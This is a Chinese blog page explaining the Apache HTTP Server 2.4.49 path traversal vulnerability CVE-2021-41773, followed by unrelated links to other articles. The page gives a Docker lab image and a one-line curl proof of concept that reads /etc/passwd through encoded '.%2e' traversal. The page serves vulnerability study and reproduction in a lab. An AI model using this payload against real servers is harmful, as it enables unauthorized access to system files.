常见中间件漏洞（四、Apache合集）
目录
四、Apache
4.1 CVE-2021-41773
漏洞简介
影响版本
环境搭建
漏洞复现
四、Apache
4.1 CVE-2021-41773
Apache HTTP Server 路径穿越漏洞
漏洞简介
该漏洞是由于Apache HTTP Server 2.4.49版本存在目录穿越漏洞,在路径穿越目录<Directory/>Require all granted</Directory>允许被访问的的情况下(默认开启)，攻击者可利用该路径穿越漏洞读取到Web目录之外的其他文件，在服务端开启了gi或cgid这两个mod的情况下，这个路径穿越漏洞将可以执行任意cgi命令(RCE)。
影响版本
Apache HTTP Server 2.4.49
某些Apache HTTPd 2.4.50也存在此漏洞
环境搭建
docker pull blueteamsteve/cve-2021-41773:no-cgid
漏洞复现
1.使用poc
curl http://IP:PORT/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd
相关文章：
常见中间件漏洞（四、Apache合集）
目录 四、Apache 4.1 CVE-2021-41773 漏洞简介 影响版本 环境搭建 漏洞复现 四、Apache 4.1 CVE-2021-41773 Apache HTTP Server 路径穿越漏洞 漏洞简介 该漏洞是由于Apache HTTP Server 2.4.49版本存在目录穿越漏洞,在路径穿越目录<Directory/>Require all gra…...
HCIE-学习笔记
动态授权加入的成员优先级高于静态绑定的成员； any组（缺省）：所有用户或资源，通常用来配置默认规则。any组只能做目的组，不支持配置为源组。 同一个安全组既可以与多条授权规则绑定来表示动态用户࿰…...
学习)
【计算机网络】性能指标-带宽和时延(MB、GB、KB、B、byte、bit、Mb/s、Gb/s、b/s等)学习
文章目录 1、单位换算MB、b/s1.1 在计算机领域，大写的B、K、M、G表示1.2 在通信领域，小写的k代表的是1000,不是1024，转换的时候要注意区分 2、带宽3、时延（时间消耗）4、时延带宽积5、往返时延RTT 1、单位换算MB、b/s …...
ANN（Approximate Nearest Neighbor）搜索和索引库到底是什么？
🍉 CSDN 叶庭云：https://yetingyun.blog.csdn.net/ ANN（Approximate Nearest Neighbor）搜索：最近邻搜索是一种在大规模数据集中快速找到与给定查询数据点距离最近的点的算法。与传统的精确最近邻搜索算法相比ÿ…...
勒索软件、供应链攻击等带来的思考！
2023年勒索软件、供应链攻击、地缘政治冲突与黑客活动主义、国家黑客间谍与APT组织活动成为网络安全的热点话题，生成式人工智能技术的武器化更是给动荡的全球网络安全威胁态势增加了不确定性、不对称性和复杂性。 即将到来的2024年，随着网络犯罪的规模化…...
【Nuxt】自定义插件和生命周期
自定义插件 方式一： app.vue // 创建插件(在app.vue中创建全局可以使用 而在某个页面中创建只有该页面可以使用) // 方式一： const nuxtApp useNuxtApp(); nuxtApp.provide("formDate", () > {return "2023-12-12"; }) nuxtAp…...
MySQL的简单介绍
文章目录 数据库关系型数据库非关系型数据”数据库的概念和用途MySQL数据库服务器、数据库和表的关系数据库的创建和删除表创建表修改常见的数据类型和约束字符串类型日期和时间类型PRIMARY KEY使用AUTO_INCREMENT使用UNIQUE使用FOREIGN KEY使用 SQL语言基础SQL语言简介SQL分类…...
leetcode 116.填充每个节点的下一个右侧结点指针
1.题目要求: 给定一个二叉树：struct Node {int val;Node *left;Node *right;Node *next; } 填充它的每个 next 指针，让这个指针指向其下一个右侧节点。如果找不到下一个右侧节点，则将 next 指针设置为 NULL 。初始状态下，所有 ne…...
『 Linux 』网络基础
文章目录 协议分层OSI 七层模型TCP/IP 四层(五层)模型网络协议栈与操作系统的联系报文TCP/IP 通讯过程以太网通信的过程以太网的数据碰撞 协议分层 协议分层是计算机网络中奖网络协议进行组织和管理的方法; 通过将网络通信过程分成多个层次,每个层次负责特定的功能从而简化网络…...
Python酷库之旅-第三方库Pandas(070)
目录 一、用法精讲 281、pandas.Series.dt.daysinmonth属性 281-1、语法 281-2、参数 281-3、功能 281-4、返回值 281-5、说明 281-6、用法 281-6-1、数据准备 281-6-2、代码示例 281-6-3、结果输出 282、pandas.Series.dt.tz属性 282-1、语法 282-2、参数 282-…...
第一篇Linux介绍
目录 1、操作系统 2、Windows和Linux操作系统的区别 3、 Linux 的发行版本 4、 linux 分支 5、 Linux 的含义 6、Linux 特点 1、操作系统 常见操作系统有：Windows、MacOS、Unix/Linux。 类 UNIX Windows：其是微软公司研发的收费操作系统ÿ…...
在Windows编程中，MFC\C++中OnCopyData如何传递基础类型数据？
在C中，OnCopyData 并不是一个标准的C库或框架中的成员函数，它更常见于Windows编程中，特别是使用Win32 API或MFC（Microsoft Foundation Classes）时。OnCopyData 是一个在MFC应用程序中常用于处理来自其他应用程序的WM_C…...
10款超好用的图纸加密软件推荐，2024企业常用图纸加密软件分享
在现代企业中，设计图纸和敏感数据的安全性至关重要。一旦图纸泄露，可能会对企业造成不可估量的损失。因此，选择一款高效、可靠的图纸加密软件显得尤为重要。 1. 安秉图纸加密软件 安秉图纸加密软件是一款专为保护工程图纸和设计文件安全的软…...
BUUCTF [安洵杯 2019]easy_serialize_php 1
打开题目，看到一串php代码，试着代码审计一下，看一下有用信息 可以看出是通过$_SESSION[img]来读取文件 extract可以将数组中的变量导入当前变量表 也就是说我们可以伪造$_SESSION 数组中的所有数据 这里传递一个参数fphpinfo 先用hackbar进…...
前端面试宝典【CSS篇】【5】
在前端开发的世界里，每一次面试都是一次机遇，也是一次挑战。 你是否曾因技术深度不够而错失良机？ 或是面对最新的技术趋势感到迷茫？ 我们的【前端面试宝典】正是为此而来。 由拥有多年一线实战经验的资深工程师亲自授课，结合最新的行业动态与实战案例，旨在全面提升你的技…...
stem32江科大自学笔记
江科大B站教程连接:【STM32入门教程-2023版 细致讲解 中文字幕】 系列文章目录 提示：收集stem32江科大自学笔记，方便自己和他人查看 视频对应目录STM32入门教程P1-3 [1-2]&[2-1]1.STM32简介、系统介绍、软件安装P4 [2-2]2.基于标准库（库…...
C++-类与对象基础
一，类的定义 1.1类定义格式 class为定义类的关键字，Stack为类的名字，{}中为类的主体，注意类定义结束时后面分号不能省略。类体中内容称为mian类的成员：类中的变量称为类的属性或成员变量; 类中的函数称为类的方法或者…...
嵌入式day20
feof： 检测文件是否到达结尾 ferroe： 检测文件是否发生错误 标准IO之文件定位 fseek（） SEEK_END 指向最后一个字节的后一个，继续加，写文件，会将文件扩大 ftell（） 获取…...
UE4 SLUA IOS打包报错解决办法
IOS打包报错：Fatal error "lua.h" file not found ： SLua Unreal 在IOS远程打包编译的时候 Exteral没有copy过去，导致lua.h文件报错找不到，看了网上也没有写解决办法 错误信息截图： github上也有很多遇到改…...
 以及SpringIOC容器对Bean管理)
SpringDI(依赖注入) 以及SpringIOC容器对Bean管理
一、SpringDI（依赖注入） 1.DI依赖注入 1.1 Spring DI的理解 关键字:名词解释 DI( Dependecy Inject，中文释义:依赖注入）是对Ioc概念的不同角度的描述，是指应用程序在运行时，每一个bean对象都依赖IoC 容器…...
免费功能强大的大屏开发平台
整理了一些主流且功能强大的免费大屏开发平台。为了方便你比较，我将它们分成了三大类： 🛠️ 开源/低代码框架 (适合开发者) 这类平台对开发者很友好，提供了高度灵活的定制和私有化部署能力。 平台技术栈/特点免费模式适合人群D…...
2026最值得投入学习的5个AI细分领域
AI重塑测试行业的转折点2026年，AI已从辅助工具进化为软件测试的核心驱动力。随着两会“深化拓展人工智能”战略的推进，测试工程师面临角色重构：从用例执行者转型为AI策略师。本文基于行业技术轨迹与人才需求，结合测试场景特殊性&a…...
使用 Python 将 Excel 数据批量导入到数据库中（SQLite）
一、应用场景与方案优势适用场景企业 Excel 报表数据迁移至数据库持久化存储；自动化办公：定期将 Excel 导出数据同步到数据库；轻量级数据中台：多 Excel 文件整合入库，方便后续查询分析；4.测试数据构造&…...
基于YOLOv5和Python开发的中国交通标志识别系统，可识别45种交通标志，识别率高
基于YOLOv5和Python开发的中国交通标志识别系统，可识别45种交通标志，识别率高 最近在研究交通标志识别，发现了一个基于YOLOv5和Python开发的中国交通标志识别系统，效果相当不错。这个系统可以识别45种交通标志，而且识…...
纽约州校园数据泄露激增背景下的安全治理与技术防御研究
摘要 2026 年 4 月 6 日，databreaches.net发布报道显示，2025 年纽约州校园数据安全事件同比大幅上升72%，其中长岛地区报告数量达44 起，揭示美国 K-12 教育机构在数据安全防护、账号权限管理、威胁监测与应急响应等方面存在系统性短…...
旺店通与轻易云集成平台的无缝数据对接方案
数据源系统：旺店通企业奇门旺店通企业奇门是慧策旗下核心的智能零售解决方案，提供从订单管理到仓储物流的全链路服务。其特点包括：一体化智能零售平台，覆盖电商经营全流程打破数据孤岛，实现跨系统数据互通AI驱动的智能…...
Clion+CubeMX联合开发环境配置全攻略（附ST-Link烧录避坑指南）
ClionCubeMX联合开发环境配置全攻略（附ST-Link烧录避坑指南） 嵌入式开发中，环境配置往往是项目启动的第一道门槛。对于STM32开发者而言，JetBrains的Clion结合ST官方的CubeMX，能够打造出高效且现代化的开发工作流。本文…...
FPGA新手必看：用Vivado在EGo1开发板上点亮七段数码管（附完整代码与约束文件）
FPGA实战：从零实现EGo1开发板的七段数码管驱动 第一次接触FPGA开发的朋友，往往会被硬件描述语言和开发工具链的复杂性吓退。但当你真正在开发板上点亮第一个LED或数码管时，那种成就感是无与伦比的。本文将带你用Vivado工具链，在EG…...
Kook Zimage真实幻想Turbo创作秘籍：10-15步生成高质量幻想风格图像
Kook Zimage真实幻想Turbo创作秘籍：10-15步生成高质量幻想风格图像 1. 快速上手幻想风格创作 Kook Zimage真实幻想Turbo是一款专为幻想风格图像创作优化的轻量化工具，它最大的特点就是能在普通消费级显卡上快速生成高质量的幻想风格图像。不同于通用型…...
强化学习基础与实践：从理论到应用
强化学习基础与实践：从理论到应用 1. 背景介绍 强化学习（Reinforcement Learning，RL）是机器学习的一个重要分支，它关注的是智能体（Agent）如何在环境中通过与环境的交互学习最优行为策略&#…...